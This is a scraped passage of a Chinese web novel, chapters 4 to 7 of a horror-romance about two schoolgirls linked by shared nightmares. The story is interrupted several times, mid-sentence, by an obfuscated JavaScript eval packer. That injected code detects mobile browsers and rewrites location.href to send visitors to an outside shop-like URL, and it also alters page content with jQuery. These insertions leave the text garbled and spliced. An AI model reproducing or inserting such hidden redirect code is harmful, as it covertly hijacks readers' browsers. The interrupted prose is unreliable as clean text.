《你梦里有诡》 4. 噩梦 江未眠更加确认卷卷是特殊的,卷卷的梦境一直存在着,温和平静,她本人居然可以在浩如烟海、混乱破碎的梦境里,找到江未眠。 不知是福是祸。 “别出声,”江未眠死死的捂住女孩的嘴,用气音在她耳边小声说,“他会过来。” 大部分时候人们会被梦境牵着鼻子走,但有时也会做清醒梦,也叫清明梦,认识到了自己在做梦,反过来主动控制梦里的场景和行为。 这是一场清明梦,不巧的是,做梦的鬼魂不太友善。 江未眠已经和恶梦主人玩过一次猫捉老鼠的残忍游戏,好不不容易逃脱,她不想来第二遍。 当她看到卷卷茫然地站在废弃大楼走廊时,她又着急又差异,毫不犹豫地把女孩拽了过来。 带着霉湿味的深蓝色窗帘沉沉地盖住两个身形稚嫩的女孩,她们背抵着的模糊发黄的玻璃,再向后是张牙舞爪伸展着的枯黑枝桠,交错的黑影在沉郁的黑暗中勾勒出杂乱狰狞的轮廓。 江未眠在两片窗帘间拨开小指宽的缝隙,眼前先是个长满灰的木质破橱柜,半扇柜门要掉不掉萎靡地挂着,占去她的大半视野。 江未眠屏住呼吸,缓缓压弯了腰,把眼睛向外稍稍送了出去。 房间光线极差,几乎没有光亮,索性她在这里待了有些时候,眼睛早已已经适应了这样的昏暗。 这里像是间废弃杂物间,大件的纸箱、家具和鸡零狗碎的小东西零散地堆在地上和架子上,沉默地侵吞本就窄小的空间,逼仄凌乱的感觉压抑着让人喘不上气。 江未眠的视线小心翼翼地绕过橱柜和铁架子,扫向门口。 杂物间没有安装门,只有一圈长而方的门框,被框住的是漆黑一团,了无生气。 她悄悄松了口气。 没被发现。 江未眠合上窗帘。 “你在发抖吗?”江未眠皱眉,语气里带着担心,卷卷突然出现在废弃仓库里,两人只好先找个勉强算是安全的地方躲起来。 “我没抖。”卷卷轻缓地用气音反驳,带着温度的手掌抚上江未眠的手腕,安抚性地拍了拍。 “是你在抖。”她说。 江未眠仔细一看,自己紧攥着的衣角和她的两指簌簌颤动,骨节因过度用力而显得苍白。 女孩温柔但不失力度地掰开江未眠的指节,把江未眠颤抖的手包在自己温暖干燥的手心。 体温顺着相接的肌肤一点点蔓延开来。这一时刻,江未眠还没有全然踏实下来,但微弱的安全感使得她紧绷的神经猛然喘了口气,一直紧密咬合的牙关也逐渐放松,牙齿后知后觉的有些酸涩无力。 “卷卷。” “我在呢,”女孩回应,“放心,我在呢。” 江未眠把额头抵在她的肩头,低低开口,“他在找我们。” 卷卷疑惑:“谁在找我们?” 窗帘外突然传来一声闷响,重物狠狠地砸在了地板上,紧接响起一串拖行东西的声音。 江未眠蓦然睁大双眼,两人僵在那沉重的布帘后,呼吸都不敢用力。直到她的眼睛变得干涩难忍,一眨眼便蓄满泪水,声音才短暂停住。 又响起。 碰—— 刺响,是金属撞上金属,伴随着沙哑的歌声。 “找呀找呀找朋友。” 沉重的脚步声一点一点的靠近,飘荡在杂物间。每落下一步,那入侵者强烈的存在感就再重上一分。昏暗,沉闷,狭窄的小屋里,那“人”仔细地敲敲每一只纸箱,时不时用剪刀划拉铁架子,发出刺耳的,让人牙酸的尖响。它把玩着手里寒光闪闪的剪刀,嘴角咧到耳后,含着一抹毛骨悚然的笑意。 “找到一个好朋友。” 它的右腿不自然的内扣,右脚也无力地耷拉着,走路全靠左边撑起全身,因此一步一歪,一走一拖,力道大的吓人。在过于沉默的黑暗中,分外清晰。 “敬个礼呀握握手” 砰—— 它把剪刀狠狠地扎进最大的纸箱,浑浊的眼睛顺着裂口向内窥视。随即它的目光落在橱柜上,它伸手抓住整个柜门,把半个身子探入橱柜,摇摇欲坠的柜门不堪重负,轰然坠下了。 “笑嘻嘻呀点点头。” 它抽出扎在箱子上的剪刀,一步步走进橱柜后的窗帘,它从候口挤出咕叽咕叽的怪笑。 下一秒,咔吱咔吱的磨牙声贴上了江未眠的耳朵。 “你是我的好朋友!” “呵呵呵咳咳——” 江未眠看到一张苍白如纸的脸,额头与下巴各生长着一只漆红的眼珠,诡异至极。 一抹寒光闪过眼前,接着是天旋地转。再睁开眼,她摔在走廊上,膝盖和胳膊顿时传来来酸胀的刺痛。发梢糊在脸上,冷风呼啸灌进嘴里。 顾不上仔细环顾周围,江未眠一把拉起女孩的手, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她闭着眼躺了几分钟,起身坐在沙发上发呆,直到第一缕阳光洒进房间,她撑着发麻的双腿走回卧室,踢开拖鞋卷过柔软的被子,灯关着,窗帘却大开,屋子里一片灰蒙蒙的亮光,江未眠把脸埋在枕头里,在朦胧的光线里沉睡过去。 5. 甘露 闹钟一号开始鸣叫。 滴——滴——滴——滴——滴—— 闹钟二号紧随其后。 叮铃——叮铃——叮铃—— 三号手机闹钟也不甘示弱。 “少年自有少年狂,身似山河作脊梁——” 被窝里快速地伸出一只手,在床头柜上摸索着,找到并按停了三号闹钟。一号和二号仍在锲而不舍地扰人清梦,滴滴声和叮铃叮铃交替作响,搅得人太阳穴突突直跳。 滴——滴——滴—— 叮铃——叮铃——叮铃—— 甘露不堪其扰,掀开蒙住脑袋的被子,直直的坐了起来,离开了温暖被窝的庇护,空调的凉风吹地她猛然打了个哆嗦。 拖鞋一只在床边,一只在床尾,甘露眯着眼睛找了找才凑成一对,沓拉着鞋下床按掉放在桌子的二号,甘露顺手拿起遥控器,把空调从17度调到20度。 此时,一号闹钟还在尽职尽责地响着。 滴——滴——滴—— 甘露头都大了,一时间还真想不起来她昨天晚上把一号放哪里了。 书桌……没有。 衣柜里面……也没有。 一番兵荒马乱后,甘露终于循着声音,在挂在门后的旧书包夹层里找到了了一号,关掉后,闹钟不响了,人也彻底清醒了。 门外传来奶奶的声音:“卷卷,起来没有啊?” 甘露拉长声音回应:“起来了!这就来啦!” 甘露换好衣服出了房间,甜香软糯的小米粥和香酥的油条已经整整齐齐地码在餐桌上,热气飘荡,勾起一串串馋虫。 “好饿啊。” “等会再吃,”奶奶把甘露向卫生间方向推了推,嘱咐道,“先去梳梳你的头发,翘的乱七八糟。” 甘露揉了下自由奔放的自来卷,自来卷被压扁又弹回来,说道:“头发又长了,要不然找时间剪短点吧。” 奶奶轻轻地理了理她的头发,柔声说道:“剪了干嘛?留长一点也挺好看。我们家小姑娘怎么都好看。” 乌黑的头发软蓬蓬地贴在脸颊旁,带着散漫的乱。 甘露小名叫卷卷,正是因为一头遗传自父亲和爷爷的自然卷。 甘露一边刷牙一边含混不清地嘟囔:“打理起来太麻烦。” 她每天早上都要花不少时间归拢她的头发,早上起床本来就烦,下手稍微一重,头发们争先恐后地掉,一团一团的看着尤其悲壮。 “爷爷呢?不会还在睡吧?” “哪能啊,”奶奶提高音调,“一大早跟隔壁张老头出去钓鱼了,说去晚了没好位置,早饭都没吃,我都不想说他。” “您可放过甘老头吧,他也就这点爱好了。”甘露洗漱完后挪到餐桌边,喝了口粥,温度刚刚好可以入口,显然是奶奶提早盛出来放凉了。 自从升上十中,甘露被迫过上每天早出晚归、朝六晚十的日子。 老人家如果起得早,吃早饭的时候还能说上几句话,平时是低头不见抬头也不见,差点没成熟悉的陌生人。 “对面小陈叔叔的房子是不是搬进来人了?” 她昨天晚上回来时,瞥见对门门口戳了个扎好口的黑色垃圾袋。 这片儿也算是学区房,之前对面住了一家三口,孩子也念十中,算是甘露的学长,父母特意过来租房陪学,前年高考刚结束就匆匆搬走,房子也空置下来很久没住过人。 “是住人了,不过我还没见过,”奶奶往甘露书包里塞了两盒饼干,“爷爷把车灯修好了,放在楼下。” “行,”甘露拿起书包,趴在客厅的长毛黄狗抬眼看到她,有点费劲地摇了摇尾巴,甘露蹲下来摸了摸它,“记得向甘老头传达我的谢意。” “我走喽,”甘露揉揉老黄狗的头顶说,“老黄,我走喽。” 老黄狗蹭了蹭她的手,微湿的鼻尖蹭过甘露干燥温暖的手心,老黄狗轻轻叹了口气。 甘露看着有些吃味。 老黄狗年纪大了,眉毛胡子都白了,吃的越来越少,也越来越不爱动,去宠物医院检查出来一堆慢性病。 脸看着都比年轻时苦一些。 衰老是件避无可避的事,但甘露私心想让老黄狗再多陪陪一家人。 黑色垃圾袋还在对门的门口,还多了俩外卖袋。 说明甘露没有眼花看错。 天刚蒙蒙亮,空气凉爽,没有浮进夏日的燥热,甘露骑车穿行在街道间,车轮碾过微凉的风。 从居民区到学校,街上逐渐热闹起来,穿着校服的学生三三两两地走向学校。 卖早点的小摊零星地分布在学校门口,香气飘出很远。 甘露远远地看见陆绮提着一大堆东西。她锁好车,提着书包轻手轻脚走了过去。 “用我帮你拿点吗?” 陆绮被吓了一跳:“你怎么走路没音啊!” “胆就这么丁点,你想什么呢?”甘露撇了她一眼,“这么心虚。” 甘露目光落在陆绮手中的“救济粮”上,肉眼估计,陆绮左手提着三份馅饼,三份烤冷面,右手提着两杯粥和两个鸡蛋灌饼。 这是掌握了多少人的命脉啊。 陆绮压低声说:“我在规划最佳入校路线。最近学校查得严,我这跟美团外卖员似的,不避着点保安肯定拦我。” 事实证明,有着霸总的姓,也不一定会有霸总的王霸之气,还会有像好友这样蠢萌蠢萌的生物。 甘露帮着她分走了一杯粥,四个饼,两位光荣的外卖员卡着保安的视觉死角顺利入校,并在踏入班级的时候受到了后排同学们的热烈欢迎。 陆绮把自己和甘露手中的东西分发完后,在甘露惊奇的眼神里,又从包里掏出了两袋小笼包。 “这谁的啊?”陆绮扯着嗓子喊。 “哎,我的我的。”张翔宇接过小笼包,“谢谢陆总。” “小事。”陆绮很霸总地摆了摆手。 甘露笑着问:“陆总,你这书包都得是小笼包味吧?” 陆绮从包里掏出来张数学卷子,闻了闻:“哎还真是。” 甘露也凑近闻了闻,评价道:“还挺香,玉米肉馅的?” 陆绮回答:“玉米肉香茹肉两掺。” 甘露咽了咽口水,有点馋了。 “想吃不?”陆绮从夹层里又掏出来一份,“知道你馋……我给你也带了份。” “陆总,你身上有圣光啊。”甘露很感动。 甘露吃过早饭后也吃不下多少,只吃了一两个,剩下的被陆绮拿去分给周围的人。小包子味道鲜美,一口一个唇齿留香。 “陆总你真是当外卖员的好料子。”甘露发自内心感叹。 陆绮往她背上拍了一巴掌:“少磕碜我。” 十中早读六点半开始。 班主任老李六点二十五就像门神一样守在了班门口,胳膊下夹着本厚厚的数学书,笑着往那一站,快迟到的同学都不想和他对视,一个个低着头麻溜地进了教室。 半点一到,铃声响起,老李关着前门,堵着后门,拦了一串人。 迟到的倒霉蛋们回教室拿早读要用的书,再在走廊里靠墙排成一排,这个班一串,那个班一串,像贪吃蛇一样从走廊这头串到那头。 在这个迟到群英荟萃时,江未眠从楼梯上来了。 少女穿着黑t和牛仔裤,背包松松垮垮,看着就没装几页纸,右耳朵里塞了一只蓝牙耳机,休闲随意得像是在逛商场,和周围穿着校服捧着书早读的“贪吃蛇”们格格不入。 不少倒霉蛋们的眼神偷偷瞥向这位不穿校服,早读迟到,还惊天大胆带着耳机,数罪并罚大号倒霉蛋预备役。 江未眠倒没注意到这些目光。 除了夜里那场噩梦,江未眠实打实只睡了半个小时,脑子混沌得堪比稠浆糊,信息储存能力大幅下降的结果就是,江未眠怎么都想不起来教务老师刚刚说过的话。 三楼……然后呢? 她站在楼梯口,表情有些迷茫。 贪吃蛇蛇头看她愣着不动,索性《离骚》也不背了,热情地招呼江未眠道:“干嘛啊同学,你们班主任把你流放了啊?” 啪的一声闷响,一本数学必修一重重地拍到了蛇头背上,老李的声音从蛇头背后幽幽响起,激起他满身鸡皮疙瘩。 “怎么,你准备接收人家呢?话挺多啊,站着还不忘聊天。” “背你的书。” 蛇头不敢怒也不敢言,自认倒霉,默默地捧起了语文书,接着背《离骚》。 “江未眠是吧?”老李问。 “是,”江未眠点点头,回答道,“教务老师让我来找您。” “行,你先等一下,”老李进教室,和后排一个卷发女孩交代了几句什么,再出来时对江未眠说道,“去我办公室谈……” 话说到一半,老李顿一下,指着江未眠的耳朵:“把耳机摘了。” 江未眠乖乖地摘下蓝牙耳机。 “学校不让带手机,”他意有所指地扫了眼江未眠的口袋,“下次别让我看见。” 江未眠应了声。 “先说一下基本情况吧,你的事情各科老师也都了解。等会让班长给你作息时间表和课表。” “课你先听着,我们这边的教学进度和你之前的学校不太一样,教材也会有出入,等会你先跟我去拿几本书。你的校服和高一一起订了,过段时间才能送过来。” “班里只剩最后一张空桌,你先坐后排……” “江未眠。” 老李突然停下了。 “嗯?怎么了老师。”江未眠垂着眼皮问到。 老李有些无奈:“没睡着吧?我看你要昏过去了。” “不会,”江未眠打了个哈欠,“听着呢。” 其实没有,真的要昏过去了老师。 老李叹气:“年轻人少熬点夜吧,那我也不啰嗦了,领了书就回班里报道。” “嗯。” 江未眠从教务处拿了几本书,老李额外塞给他一张透明桌皮。 办公楼和教学楼之间隔了个小花园,占地面积不大,几步路就能穿过,花园里零零总总栽了不少花草,还有一小棵苹果树。江未眠记得拐角处有从淡粉色月季。她晚上散步心血来潮翻进学校时来过这儿。 十一班很安静,只有笔尖写字和翻书的声音。 也不知道哪位神仙排的课表,最容易犯困的第一节课排上了数学。错的时间遇上错的课,不睡简直天理难容。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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甘露揉眉,语气中带了无奈:“改成敬语,说不定英语会垂怜我呢?说不定我会发自内心的爱上英语呢?说不定张老师就不找我谈心了呢?” 张翔宇很不屑:“啧啧啧啧啧。” “再啧?” “不敢,您饶命,”张翔宇吐槽道,“您这真够唯心的。” “有用就行。”甘露笑得意味深长,“话说你待遇高着呢,她帮你带早餐都直接放书包里。” “她都不记得那是谁的。” “你怎么知道她不记得?” 张翔宇挑眉,张了张嘴但没落下话音,半晌才问:“她记得啊?” 甘露笑得更意味深长了:“你怎么知道她记得呢?” “你耍我呢?”张翔宇叹了口气,“不聊了。” 甘露笑出了声:“您走好。” 生活一规律,时间就会莫名快起来。 上课,下课,写作业,交作业……循环往复,甘露觉得还没来得及做些什么,太阳已经落下半边了,天空染成淡橘色。 她从桌缝里掏出来张黑色折叠凳,撑开,在更高的木凳上垫本书当桌子。 人一坐下去,矮了不止一星半点,只露出头顶一小卷毛。 老李算是比较开明的班主任,十一班学习氛围也放松,早读和自习不必死守在固定的坐位上,可以随便走动,只要不影响到别人,坐到讲台上都行。 甘露偏爱小凳子,缩在课桌和墙组成的半封闭空间,被包裹起来时会让人有沉进去的感觉,能静下心,顺便放松僵直了一天的背。 她拉了下陆绮的衣角:“你看见过我的数学卷子吗?” “哪张?” “新发的难度特别大那张。” 陆绮回想了一下,说到:“我好像借过,但订正完之后还给你了,你是不是又随手塞哪了?” “是吗?”甘露没有整理试卷的习惯,没用的试卷直接扔掉,有用的随手塞到抽屉里或者夹在书里,“找不到了,我还有题没整理。” 陆绮问:“要不你用我的?” 一双节骨分明的手夹着数学卷,在甘露面前晃了晃。 “是这张吗?”江未眠低头垂眼看着甘露,语气中带着刚睡醒的慵懒,“甘露……黑月亮模拟卷一?掉到后面了。” “谢谢,”甘露接过试卷,这张卷确实是她的,她习惯在试卷上直接打草稿,因此卷面看起来比较杂乱,也很有辨识度。 甘露在抽屉里翻找出两页纸,抬头看向江未眠,“同学,这是我们班的课表和作息表,班长让我转交给你。” 江未眠和甘露对视一眼,江未眠眨眨眼睛,像是瞬间定住了一样迟疑了几秒,两张纸在空中不尴不尬地停留。 在甘露即将出声询问前,江未眠接了过去,甘露低下头研究数学题。江未眠带上副无框眼镜。 眼前顿时高清。 女孩的面孔也清清楚楚落在眼前。 江未眠有些恍惚,她怀疑自己是不是做了个层层叠叠的梦中梦,以为自己醒来,但实际依旧沉溺其中。 不然怎么会见到她? 卷卷? 6. 偶遇 间或几家小店点着暖光,偶尔传来几声犬吠,与汽车飞驰而过的轰鸣交织在一起,在夜里拉出长长的尾音。 甘露家离学校不远,步行回去不到二十分钟。 她从小在这里放养长大,一砖一瓦,一店一铺闭着眼都能摸清。 夏天的风似乎永远有独特的味道,干燥和清爽并存,带着夜晚独有的凉。 甘露骑着车转过拐角的十字路口,白炽的灯光把柏油路照得发黑发亮,像泼了一层冷墨。 她本该右拐,看到那颗年龄过百,盘虬卧龙的老树,顺着直走两条街就是自家老小区的大门。 如果没有在半路遇到江未眠。 新同学啊。 绿灯闪烁,甘露到达路口前,红灯亮了起来,倒计时足足两分钟,她捏了捏车闸,安静停下。 江未眠身着一件衬衣,颜色几乎与肤色融为一体,白炽灯光在她身上描出一道冷边,让她看起来瘦了一圈,单薄的背,纤瘦的腰,像一张快要碎了的白纸。 那一刻,一种紧紧攥住甘露喉咙的感觉让她忘记了怎么呼吸。 大概正是因为忘了怎么呼吸,所以脑袋缺氧,话没经过脑子脱口而出。 鬼使神差地,甘露叫住了她:“江未眠?” 话说出口后甘露就有些后悔了。 她没把握江未眠记不记得她,毕竟江未眠转过来这几天只顾着睡觉,正常社交几乎为零。 不记得就尴尬了。 江未眠缓缓回过头。 甘露先撞上一双木然的眼睛,如同蒙着层磨砂的玻璃,眼神涣散,落不到实处,她的眼睛转了两圈,像是刚刚感知到甘露的存在,目光轻轻定在她身上。 空洞的眼神看得甘露有些后颈发凉。 甘露和江未眠并不相熟,充其量只说过一句话,叫过江未眠的名字后,她反倒不知道该说什么。 两个人像是掉帧的电影,卡在原地不动。 缺德地图按下了缓冲键。 “前方前进150米后左转。” 缺德地图的毫无感情的电子音响起,打破僵局。 “你……” “我迷路了,”江未眠的声音很低,带着些可怜巴巴的软意,“甘露,能指个路吗?” “行,”甘露点点头,“我送你吧,要去哪里?” 江未眠报出了一串地址。 甘露微微一怔,和她家的地址完全一样,楼栋楼层都相同。 想到最近新搬来的邻居,大概是江未眠,这样说来她们两个还挺有缘分,既是前后桌,也是新邻居。 “上来吧,”甘露拍了拍她的后座,朝江未眠一笑,“我们顺路。” 江未眠说道:“你等一下。” 等什么? 高中生下了晚课的时段,已经过了晚上十点。 街上是空荡荡的,只有甘露和江未眠。 只有五六米的距离,江未眠一点点地走近,每一次落脚都走得很认真,几乎到了谨慎的地步,仿佛她脚下不是寻常平坦的柏油路,而是在陷阱遍布、凶险异常的沙路,走错一步就会被流沙沉到地底深处。 甘露看得皱眉,准备下车。 “没关系,我可以。” 江未眠说道。 甘露顿住动作。 江未眠踉跄一下,伸手虚虚地抓住甘露的胳膊,甘露只察觉到一阵转瞬即逝的轻微刺痛,还没来得及体会,对方已经飞速松开手。 她下意识想去扶,但动作有些大,车子跟着晃了两下,只好收回手扶住车把,免得两人一起摔倒。 甘露低头看被江未眠触碰过的手臂,皮肤上没有任何伤口。 她突然想看过的科普:第一次摸到冰块的人不了解“凉意”,他们感觉到的是从未体验过的,尖锐的刺痛,像有东西在奋力地扎向皮肤,触碰处的皮肤会发麻,变得僵硬,本能的想要回缩,当接触时间延长,低温超过皮肤耐受时,甚至会引发类似灼烧的痛感。 有点像她刚刚的感觉。 但应该是错觉,毕竟是气温远在二十度之上的夏夜,怎么会有人皮肤凉的像冰块。 江未眠小心翼翼地坐下,声音轻缓:“抱歉,我现在看不太清。” 甘露的皮肤上还残留一点冰凉。 甘露斟酌着问道:“是……什么病吗?” 在说什么废话啊…… “老毛病了,你如果不来,我在路边缓一缓也能回去。”江未眠说道,“会不会太麻烦?” “不麻烦,别客气,”甘露叹了口气,岔开了话题。 生病这种事情对方愿意说就说,她不方便多问,点到为止就好。 “说出来吓你一跳,我住你对面,善良的新邻居当然会选择送佛送到西。” “是吗?”江未眠轻笑,“好巧,可惜现在跳不起来,谢谢你,善良的新邻居。” “不客气,为人民服务,”甘露顿了顿,还是没忍住:“我一直有种奇怪的感觉。不知当不当讲。” “听到这种开头,我一般会劝你不要讲,”江未眠语气里带着笑,“但我现在挺好奇,你想讲什么?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17480569|201711||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我是不是在哪里见过你?” 江未眠轻笑一声。 江未眠隔着空气描摹甘露的发丝,眼中带着一丝眷恋:“你这是在搭讪吗?太土了吧。” 甘露呛了回去:“嘴好毒啊。” “善良的新邻居,你也不逞多让,”江未眠合上干涩的眼睛,眼角分泌出来些许湿意,“没准是我同款建模比较泛滥呢。” 甘露摇头,不赞同道:“过度谦虚可是在招仇恨。” 江未眠生得挺好看,属于小众的建模,大众的好看,绝对是见一眼就忘不掉的惊艳型。 江未眠坦然:“来恨吧,来者不拒。” 十字路口离老小区没多远,几句话的功夫就到了,也幸亏是在路上捡到了江未眠,要不然以她这种半瞎的状态,也不知道要绕多久。 甘露语气担忧地问到:“现在感觉怎么样?好点了吗?” 江未眠揉了揉太阳穴,重新睁开了眼,这次她的视线准确地落在了甘露脸上:“好多了。” “真的好了吗?”甘露忧豫着说,“不用怕麻烦……” 江未眠把食指放在甘露唇上,柔声打断她:“真的,本来也好的差不多了,我现在已经能看清你了哦。” “好看吗?” “好看的不得了。” 踩着白炽灯光,两人进了老小区。 刚下晚自习时头蒙眼花的感觉消失殆尽,取而代之的是几丝困意。甘露被困意熏得打了个长长的哈欠,站在自家门口摸了摸裤兜。 空的。 她愣了一下,又把上下左右口袋都摸了个遍,还是空的,指尖触到的全是布,连团卫生纸都没有。 她顺着右边衣兜往下一掏,指尖忽然触碰到片破口,俩指头直接从洞里探了出来。 钥匙估计就是从这里滑走,消失得无影无踪的。 她顿时困意也消散完全。 她和江未眠面面相觑。 甘露轻叹了口气,转身下楼,从楼下大爷大妈们唠嗑的地方顺过一张小凳子。 她可以踩着够到窗户口边沿的备用钥匙,省得吵醒家里的老人。 她踩着凳子,摸到沾着灰的钥匙,转了半圈,打开了门。 “晚安,”江未眠说到,“做个好梦。” 甘露回应:“晚安。” 甘露关上门,走廊只剩江未眠一人,。 江未眠才轻声补了一句,轻得只有自己可以听到:“要梦到我啊。” 良久之后,又改口:“算了,梦不到也行。” 7. 玫瑰 “姐姐,要不要买些花啊?” 江未眠厌厌地睁开眼,循着稚嫩的童音看向推销玫瑰的“女孩”。 “买朵花吧,今天的花很漂亮哦。” “小女孩”脸部一马平川,原本该是眼鼻的地方被苍白的皮肤死死糊住,生硬得像是囫囵生出的纸扎建模,未成形的器官只能在皮下徒劳地挣扎,呼之欲出,唯有一张吮血般的殷红嘴巴格外扎眼,呼吸间飘来一股腥甜的腐臭。 江未眠后颈发凉,没有理会她,逃避似的合上薄薄的眼睑,直接眼不见心不烦。“女孩”定在原地,嘴角飞扬到耳根后,薄唇不断泄出暗红的液体。 她飞快地伸出尖细的舌头舔净,依旧痴痴地盯着江未眠笑。 车站看起来命不久矣,深绿色顶棚消失了一半,剩下的部分爬满蛛网形状的裂痕,几株枯草破“茧”而出,歪歪扭扭的茎干像是在俏皮地比耶。 木头椅子腐朽破败,江未眠稍微挪动一下,它便簌簌掉起混着灰的木渣子,落到她鞋边。 “女孩”似乎不在意被冷落,但她手中的玫瑰不同意,绿色的花梗上布满细小的倒刺,像是无数只小手在抓挠空气,它们争先恐后地伸长脖颈“看”向江未眠。 花瓣一张一合,隐约能闻到一股混杂着腐叶的甜腥气,像是在贪婪地呼吸。 “买一朵吧姐姐,它们很喜欢你。” 灰败的一方小小天地,只有艳红花朵和她的嘴唇是唯二两色。 前者在此情此景下并不美丽,后者更是让人毛骨悚然。 江未眠起身,不动声色地退后一步,手指一下下地搓着衣角。 按照之前几次的经验,被无视的“女孩”会在公交车到站前消失。 但这次好像不一样。 最热情的一只玫瑰等不及了,它伸出两片带倒刺的叶子,暴躁地按在其他玫瑰的花骨朵上,其它花开始猛烈地挣扎,花瓣激动地发抖。 它用出了吃花肥的劲,一扭一扭地竟然从一整束包好的花中脱颖而出,飞花般窜到了江未眠衣服上。 江未眠穿的是睡衣,材质顺滑,小玫瑰花向下滑了半寸,堪堪用倒刺勾住衣料,吊在他的腰侧。 “带我走嘛!”它尖声叫道,花瓣因激动而剧烈颤抖。 怎么还强买强卖啊…… 滴——滴—— 一辆和车站气质绝配的破旧公交缓缓进站,而那强买强卖的“女孩”眨眼间就消失得无影无踪,仿佛从未出现过。 “到底上不上来!”司机粗声粗气地催促,车窗里露出一双阴鸷的眼。 江未眠犹豫了一下,指尖触到花瓣的瞬间,像是摸到了温热的果冻,她猛地缩回手,又强装镇定地把花塞进睡衣口袋,能清晰感觉到花瓣在布料下轻轻蠕动。 她抬脚踏上了公交。 666号公交直达终点站十一中,但江未眠从未成功活到过那里。 这是循环的第八次,也是她第六次踏进这辆车。 第一次,她买了玫瑰,代价是两根手指,最终错过这班车,莫名其妙地进入了二周目。 第二次,她没买花,直接上了666号公交,公交在行驶过程中突发爆炸,一车人成为了香喷喷的肉酱。 第三次,江未眠谨慎地没有买花,也断然拒绝上易燃易爆炸的666公交,公交师傅二话不说当场变脸,从车窗里甩出一把生锈的飞刀,正中江未眠眉心。 江未眠,gameover。 第四次,江未眠不敢再忤逆飞刀司机,老老实实地上车,计划中途跳车。但666公交却提前爆炸,江未眠梅开二度,成为香喷喷肉酱。 这破车别叫666了,改叫250算了。 第五次、第六次……她死得越来越离谱:踩香蕉皮摔断脖子、吃糖呛破气管、安安静静坐在座位上时,因“睡眠不足”猝死。一桩桩奇葩死法,匪夷所思。 在这个怎么也走不出的空间里,她是十中的学生,正要赶最后一班车返校上晚自习。 虽然她穿着睡衣显得不伦不类,不带书包和学生卡,没有一点学生样子,但设定似乎就是这样,不负责任地忽视一切不合理。 江未眠放弃挣扎了。 这种不厌其烦,没有尽头,像是解密闯关游戏一样恨不得有九九八十一关的循环噩梦,快结束吧。 车里人不多。前排第二排,高马尾女学生和长青春痘的男学生并排坐着,两人都穿蓝白校服,大概是同校,女生的领口处露出一截青黑色的勒痕,她却毫无察觉,只是呆滞地盯着窗外空荡荡的街。 过道另一边,挎着花布袋子的老奶奶正挽着流鼻涕的小男孩,她掏纸巾的手布满皱纹,指甲缝里嵌着黑色泥垢,擦鼻涕的动作一顿一顿,僵硬得像提线木偶。 后排的角落,抱着公文包的大叔靠着车窗睡得很香,嘴角淌下的口水在玻璃上晕开一小片水渍。 江未眠在大叔后面的座位坐下,刚坐稳,就听见口袋里传来动静。 “呦!”那朵玫瑰的声音带着点雀跃,花瓣在布料下顶出一个小小的鼓包。 吱呀——旧到掉铁皮的公交车合上车门,缓缓开动,像是一首老歌荒腔走板地开了头。 “然后呢?”陆绮追问。 “没有然后了。”甘露从抽屉里摸出书页夹,把散落的纸笼到一起,递给陆绮。 “死路我倒是看出了好几条……你留生路了吗?”陆绮疑惑,“公交车上的八百种死法,你学废了吗?” “那不是等着你们找呢,我挖了好多坑等着你们跳呢,”甘露问道,“下一棒是谁?” “于欣,哎他离得有点远。” “朱军!朱军!”陆绮戳了戳她前桌,朱军迷茫地回了头,脑子里还沾亲带故地想着数学题,表情看着不怎么清醒。 “什么事啊。” 甘露递上个厚本子:“把这个给于欣。” 甘露和陆绮位于左边倒数第二排,接收人却远在最前面,中间隔着浩浩荡荡的同学们。 “快点,等会老李来了。”陆绮急切地催促。 “知道了。”朱军缓过神,接过陆绮递来的东西,转去戳他前面的人,他前面的人再一脸茫然地回头,朱军为起点人传人,以一种令人发指的低效,一点点往前传。 前排的女孩扶了扶眼镜,朝后面比了个ok,陆绮回了个同款手势,把探出去的脑袋缩了回来。 下课铃恰逢其时响了起来。 “嚯,还不如下课送过去呢,这兴师动众的,”甘露拍了拍陆绮,示意她让开一点,好让坐在里面的甘露出去,“我要去上厕所。” “等等,我和你一起,我要去打水,你等我拿个水杯。” “快点,等会人一多就要排长队了。” 陆绮从一堆花花绿绿,由高到低依次排开的水杯里找到了自己的熊猫保温杯。 甘露的水杯是她同系列不同款的小狮子,陆绮顺口问道:“你要接水吗?” “不接,快走啦。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17480571|201711||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陆绮抱怨:“为什么不能把水杯放教室里,每次喝水都要到跑外面。” “你先忍忍,”甘露劝她,“过一段时间大家都偷摸现原形。老李就睁一只眼闭一只眼了。” 